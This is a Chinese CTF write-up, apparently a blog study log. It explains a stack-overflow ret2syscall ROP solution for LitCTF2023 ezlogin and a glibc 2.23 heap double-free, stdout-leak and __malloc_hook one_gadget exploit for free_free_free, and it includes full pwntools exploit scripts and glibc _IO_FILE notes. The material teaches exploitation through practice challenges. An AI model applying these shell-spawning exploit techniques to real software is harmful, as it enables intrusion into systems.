水一篇周报

做点笔记

复现

LitCTF2023 - ezlogin

分析

静态程序,且去了符号表。

使用 IDA flair 可以恢复一些去符号的静态编译程序的库函数名。拿 libc2.27 的签名文件试了下,恢复出了挺多函数的,然后就能摁看了。

可以在下面链接下载到 各个架构各个系统各个版本的签名文件

https://github.com/push0ebp/sig-database

恢复完后,漏洞点所在的函数大概长这样。

在这里插入图片描述

比赛的时候怎么都看不出洞,这也是想记录下复现这道题的过程的原因… 当时没注意到被调用的这个函数传进来的是变量 v4 的指针,即调用函数的一个栈变量,还以为 a1 是一个全局变量,蠢了…

然后有个判断,限制了输入长度:

(unsigned __int8)_libc_read(0, v2, 0x200uLL) > 0x50u

这个其实很好绕,因为检查的是 unsigned __int8,其实就是实际输入长度的低八位,即输入 0x140 字节的数据也是能通过判断的。

程序会将输入的数据通过指针传递,复制给 v4,该变量的长度是 0x108,所以是可以溢出的,就可以去打调用函数的 ROP

下一个难点在于 strcpy 函数的遇 \x00 截止,所以需要先覆盖一下 payload 中的 \x00 为其他字节,然后从后往前写。举个例子,假如要写入:

00 AA 00 BB 00 CC

那顺序写入的数据可以是:

payload1 --> 11 AA 11 BB 11 CC
payload2 --> 11 AA 11 BB 00
payload3 --> 11 AA 00
payload4 --> 00

下一个点是,题目没有 system 函数和 /bin/sh\x00,考虑打两轮 ret2syscall,第一轮的目的是往 bss 段写入 /bin/sh\x00,第二轮 getshell

exp
from pwn import*
p = process('./pwn4')
context.log_level = 'debug'
elf = ELF('./pwn4')

syscall	= 0x448D22
pop_rdi_ret = 0x400706
pop_rsi_ret = 0x410043 
pop_rax_ret = 0x4005af 
bss_addr = elf.bss(0x300)
main_addr = 0x4005c0
ret_addr = 0x400416

#round 1
payload = 'a'*(0x108)
payload += p64(pop_rdi_ret) 
payload += p64(0)
payload += p64(pop_rsi_ret)
payload += p64(bss_addr)
payload += p64(pop_rax_ret)
payload += p64(0)
payload += p64(syscall)
payload += p64(main_addr)
payload = payload.ljust(0x148, 'a')

list = []
for i in range(0x148):
    if payload[i] == '\x00':
        list.append(i)
        payload = payload[0:i] + '\x11' + payload[i+1:]
list = list[::-1]

for i in list :
    payload = payload[0:i] + '\x00'
    p.sendafter('Input your password:\n', payload)

p.sendafter('Input your password:\n', 'PASSWORD\x00')
sleep(0.1)
p.sendline(b'/bin/sh\x00')

#round 2
payload = 'a'*(0x108)
payload += p64(pop_rdi_ret)
payload += p64(bss_addr)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(pop_rax_ret)
payload += p64(59)
payload += p64(syscall)
payload = payload.ljust(0x148, 'a')

list = []
for i in range(0x148):
    if payload[i] == '\x00':
        list.append(i)
        payload = payload[0:i] + '\x11' + payload[i+1:]
list = list[::-1]

for i in list:
    payload = payload[0:i] + '\x00'
    p.sendafter('Input your password:\n', payload)

p.sendafter('Input your password:\n', 'PASSWORD\x00')

p.interactive()

莲城杯2021 - free_free_free

分析

2.23 版本的堆题,开了 PIE 保护,所以得想办法先泄 libc。程序逻辑其实很简单,就是只有 add 和 delete 功能的菜单堆题,有个管理申请出来的堆块的 chunk_list 数组,刚开始做这道题的时候其实思路挺局限的。

在这里插入图片描述

add 的话,能申请 0x7f 大小的堆块,实际上能申请到 0x90 大小的堆块,被释放后进入 unsorted bin

delete 处,将堆块释放后没有将 chunk_list 数组里的指针置零,经典 UAF,可以打 fast binsdouble free

刚开始的思考历程如下

程序没有 show 功能,肯定是要走 IO 的,所以先想办法把堆块分配到 _IO_2_1_stdout_ 结构体附近,去改这个结构体的 flags_IO_write_base 的低一字节,不过因为程序开了 PIE,怎么去泄 libc 来找到 _IO_2_1_stdout_

这时候肯定是想找 能去写的遗留的 libc 指针,这样就可以利用部分写,写入两个字节(需要爆破半个字节,1/16 的概率)来申请到 _IO_2_1_stdout_ 结构体附近。

别忘了,能申请到的最大堆块可以进 unsorted bin,这样就能利用 unsorted bin 的机制来对它遗留的 libc 指针进行操作,但是程序没有 edit 和 show 功能,这个指针不能直接泄也不能直接改,思路是将 unsorted bin 链中的 chunk 重新申请回来部分写遗留的指针,然后将该 chunk 链入 fast bin 中。这种手法也是看了下方博客才了解到的哈哈。

pwn——IO_FILE学习(一) - hawkJW - 博客园 (cnblogs.com)

具体做题步骤如下

首先申请三个堆块,大小分别是 0x7f, 0x60, 0x60chunk0 是为了使其进入 unsorted bin 获得能利用的 libc 指针,后面两个 chunk 是为了让他们链入 fast bin 来打 double free

add(0x7f)	#0
add(0x60)	#1
add(0x60)	#2

可以看见在 IO_2_1_stdout-0x43 处有能伪造的 chunk 可以利用。

在这里插入图片描述

将 chunk0 释放后重新申请回来(重新申请的大小为 0x60,方便链入 fast binptmalloc2 会对 chunk0 进行切割,所以还是从刚释放掉的那个 chunk 里割),这样就能利用其遗留的 libc 指针,改低两字节,主要是最后 16 位要是 0x5dd,就有机会指向 _IO_2_1_stdout_。然后打 double free,通过遗留的堆块指针,改低一字节使刚刚重新申请的那个堆块入链。

delete(0)
add(0x60, p16(0xe5dd))

delete(2)
delete(1) 
delete(2)
add(0x60, '\x00')	#3

多 add 几次就能将堆块申请到 _IO_FILE 那边了,改 flags_IO_write_base 低一字节。

add(0x60)	#4
add(0x60)	#5
add(0x60)	#6(\x00
payload = '\x00'*(0x43-0x10)
payload += p64(0xfbad3887)  
payload += p64(0)*3
payload += '\x88'
add(0x60, payload)

然后 _IO_2_1_stdin_ 的地址就被带出来了,可以计算 libc_base

后面就是 double freemalloc_hookone_gadget,使用 realloc 调栈,写个 try expect 去爆破,不再赘述。

exp
from pwn import *

p = process('./free_free_free')
elf = ELF('./free_free_free')
libc = elf.libc
context(os = 'linux', arch = 'amd64', log_level = 'debug')

def debug():
    gdb.attach(p) 
    pause()

def add(size, content = 'a'):
    p.sendlineafter('> ', '1')
    p.sendlineafter('size> \n', str(size))
    p.sendafter('message> \n', content)

def delete(index):
    p.sendlineafter('> ', '2')
    p.sendlineafter('idx> \n', str(index))

def pwnn():
    add(0x7f)	#0
    add(0x60)	#1
    add(0x60)	#2
    
    delete(0)
    #debug()
    add(0x60, p16(0xe5dd))

    #debug()
    delete(2)
    delete(1) 
    delete(2)
    add(0x60, '\x00')	#3
    
    add(0x60)	#4
    add(0x60)	#5
    add(0x60)	#6(\x00
    payload = '\x00'*(0x43-0x10)
    payload += p64(0xfbad3887)  
    payload += p64(0)*3
    payload += '\x88'
    add(0x60, payload)
    leak_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    libc_base = leak_addr - libc.sym['_IO_2_1_stdin_']
    log.info('libc_base: ' + hex(libc_base))

    one_gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
    shell = libc_base + one_gadget[1]
    malloc_hook = libc_base + libc.sym['__malloc_hook'] - 0x23
    realloc = libc_base + libc.sym['realloc']
    
    delete(2)
    delete(1) 
    delete(2)
    add(0x60, p64(malloc_hook))
    
    add(0x60)
    add(0x60)
    payload = '\x00'*(0x13-0x8) 
    payload += p64(shell)
    payload += p64(realloc+16)  
    add(0x60, payload)

    p.sendlineafter('> ', '1')
    p.sendlineafter('size> \n', '1')
    p.interactive()

if __name__ == '__main__':
    while(1):
        try:
            p = process('./free_free_free')
            elf = ELF('./free_free_free')
            libc = elf.libc
            context.log_level = 'debug'
            pwnn()
        except Exception as e:
            print e
        else:
            p.interactive()
            exit()

_IO_FILE 学习笔记补充

_IO_FILE 攻击的常见利用:House of orange,泄 libc

File_Structure_Source

先是自底向上地过一遍核心的结构体

_IO_FILE
struct _IO_FILE {
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;	/* Current read pointer */
  char* _IO_read_end;	/* End of get area. */
  char* _IO_read_base;	/* Start of putback+get area. */
  char* _IO_write_base;	/* Start of put area. */
  char* _IO_write_ptr;	/* Current put pointer. */
  char* _IO_write_end;	/* End of put area. */
  char* _IO_buf_base;	/* Start of reserve area. */
  char* _IO_buf_end;	/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;	/* 指向下一个_IO_FILE的指针,这样stderr,stdout,stdin等所有_IO_FILE结构体就会形成一个链表串起来。链表头是_IO_list_all,如下图所示 */

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
  _IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
# else
  void *__pad1;
  void *__pad2;
  void *__pad3;
  void *__pad4;

  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};

_IO_list_all 就是一个指针,有点像头指针这种,并非 _IO_FILE 结构体。

在这里插入图片描述

_IO_MAGIC/flags
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000
FILE

其实就是 _IO_FILE

typedef struct _IO_FILE FILE;
_IO_jump_t(虚函数表)
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};
_IO_FILE_plus

_IO_FILE_plus 结构包含了一个完整的 _IO_FILE 结构体和指向 vtable 的指针。

glibc2.23 版本下,32 位的 vtable 偏移为 0x94,64 位偏移为 0xd8

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};
_IO_2_1_stdin_
extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;
stdin
_IO_FILE *stdin = (FILE *) &_IO_2_1_stdin_;
_IO_FILE *stdout = (FILE *) &_IO_2_1_stdout_;
_IO_FILE *stderr = (FILE *) &_IO_2_1_stderr_;

利用puts函数构造任意读

原理

“泄露的本质就是利用它原来的输出。只是在利用任意地址写之后改写了一些参数,让它原本的输出呈现出不一样的结果罢了!”

程序执行 puts 其实相当于执行 _IO_puts(然后省略部分可以暂时先不用了解的代码),最后是去查 vtablefunction_ptr,跳去执行 _IO_new_file_xsputn 函数 。

stdout 的内部,有机会构造任意读。

条件:_IO_buf_end = _IO_write_ptr_IO_read_end = _IO_write_base

这样下来 puts 函数完整的调用链如下

puts -> IO_puts -> _IO_OVERFLOW ->_IO_new_file_xsputn -> _IO_new_file_overflow -> _IO_do_write -> _IO_new_do_write -> new_do_write -> _IO_SYSWRITE
payload(泄libc

glibc2.23 劫持 IO_2_1_stdout 的 payload 如下(问就是板子…

  1. flags
  2. 只要修改 _IO_write_base 的大小稍微小一点,就能输出与 libc 挨得很近的值。至于其上面几个关于 read 的成员,覆盖成0就好
payload = p64(0xfbad3887)  
payload += p64(0)*3
payload += '\x88'
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值